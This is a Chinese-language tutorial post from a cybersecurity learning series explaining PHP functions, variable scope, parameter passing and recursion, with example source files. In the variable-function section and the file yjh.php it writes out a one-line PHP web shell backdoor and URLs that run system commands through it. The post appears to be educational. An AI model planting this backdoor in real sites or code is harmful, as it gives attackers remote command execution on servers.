目錄

自定義函數

結構

注意：

PHP變量的范圍

局部變量

全局變量

靜態變量

參數的傳遞

1、按值傳遞參數（默認方式）

2、按引用傳參

3、默認參數

4、可變函數參數列表

可變函數（變量函數）

最簡單的后門（最簡單的一句話木馬）:$a($b)

遞歸函數

源碼

1.php

2.php(局部變量)

3.php（全局變量）

4.php（靜態變量）

5.php（）

6.php（按默認值傳遞參數/引用傳參）

7.php（默認參數）

8.php（可變函數參數）

9.php（可變函數）

yjh.php（最簡單的后門）

10.php（遞歸函數）

---

自定義函數

代碼塊

有輸入，大多數情況下有輸出

?

結構

function 函數名(形參){

? ?代碼塊

? ?return ;

}

注意：

函數調用時，實參要按照順序給形參。
函數調用時，互相獨立，默認沒有聯系。
執行完畢后，返回調用的位置，繼續向下執行。

PHP變量的范圍

局部變量

在函數內部定義的變量

變量的作用范圍就是這個函數

全局變量

在PHP腳本中，函數外部定義的變量

變量的作用域為整個PHP腳本

在函數中使用全局變量？
1、傳參

2、聲明

global

3、常量的作用域，是超全局（函數內部、外部都能用）

<?php $a=10; define("NAME","AJEST") function test(){echo $a;global $a;echo $a;echo NAME; } test(); ?>

靜態變量

在函數內部定義

用static修飾符修飾

僅在函數初次執行時被初始化

?

參數的傳遞

1、按值傳遞參數（默認方式）

對形參的操作，不會對實參產生影響。

2、按引用傳參

相當于給實參起了一個別名，對形參的操作會影響實參。

3、默認參數

如果沒有給函數傳遞實參，取默認值

建議：全給默認參數

4、可變函數參數列表

func_get_arg?(?int?$arg_num?) :?mixed

func_get_args();??? //

func_get_arg();???? //根據參數偏移量，從0開始計數，獲取參數

func_num_args();? //獲取參數的個數

可變函數（變量函數）

函數名為變量，類似這樣的結構

$a($b)

也是最簡單的后門

變量后面直接加括號——變成一個函數

這種動態函數非常危險，如果這個動態函數的函數名可以控制，參數可控，我們就可以直接任意命令了。這就是RCE（遠程命令/代碼執行漏洞）其中一個原理

我們有一些PHP語句不是函數，比如說print，echo。如果非要輸出試試printf。（printf只有字符串輸出功能）
那我們這個system函數會將字符串當做命令去執行

system — 執行外部程序，并且顯示輸出

最簡單的后門（最簡單的一句話木馬）:$a($b)

就兩個變量名就沒了

<?php $_GET['a']($_GET['b']); ?>

在URL中輸入：localhost/1.php?a=system&b=ipconfig
（system — 執行外部程序，并且顯示輸出）

在URL中輸入：localhost/1.php?a=system&b=whoami

遞歸函數

遞歸函數在函數內部自己調用自己的函數

?

?

源碼

1.php

<?php function userprint(){echo "This is userprint Fun!"; } function hello($name){echo "Hello, ".$name; } function add($a,$b){$c = $a + $b;return $c; } userprint(); hello("GGG"); echo "<hr />"; echo add(1,2); ?>

2.php(局部變量)

<?php $a = 10; function test(){echo $a; } test(); echo "<hr />"; echo $a; ?>

3.php（全局變量）

<?php $a = 10; define("NAME","GGG"); function test(){echo $a;global $a;echo $a;echo NAME; } test(); ?>

4.php（靜態變量）

<?php function test(){static $a = 10;echo ++$a."|"; } test(); test(); test(); ?>

?

5.php（）

<?php function A(){echo "This is A fun!<hr />"; } function B(){echo "This is B fun!<hr />";A();echo "Fun B end!<hr />"; } function C(){echo "This is Fun C<hr />";B();echo "All Fun end<hr />"; } C(); ?>

6.php（按默認值傳遞參數/引用傳參）

<?php /* function add($x){echo ++$x; } */ function add(&$x){echo ++$x; } $a = 3; add($a); echo "<hr />"; echo $a; ?>

7.php（默認參數）

<?php function add($a=2,$b){echo $a+$b."<hr />"; } add(10,20); //add(4); add (1,2,3,4,5); ?>

8.php（可變函數參數）

<?php function test(){//echo "This is :".__FUNCTION__;echo func_num_args();//傳參個數echo "<br />";echo func_get_arg(1);//根據參數偏移量，從零開始計數，獲取參數值echo "<br />";for($i=0;$i<func_num_args();$i++){echo func_get_arg($i)."|";} } //test(); test("GGG",24,true,89.9); echo "<br />"; ?>

9.php（可變函數）

<?php function test1(){echo "This is func".__FUNCTION__;echo "<br />".func_get_arg(0); } function test2(){echo "This is func".__FUNCTION__;echo "<br />".func_get_arg(0); } //$a="test1"; //$a="test2"; //$a="var_dump"; //$a="echo" //$a("GGG");//函數 函數名$abs test1("GGG") //$a="printf"; $a ="system"; $a("ipconfig"); ?>

yjh.php（最簡單的后門）

<?php $_GET['a']($_GET['b']); ?>

10.php（遞歸函數）

<?php function test($n){echo $n.'&nbsp';if($n>0){test($n-1);}else{echo '<-->';}echo $n.'&nbsp'; } test(3);//3 2 1 0 <-->0 1 2 3?>

?

?

總結

以上是生活随笔為你收集整理的【CyberSecurityLearning 46】PHP 函数的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。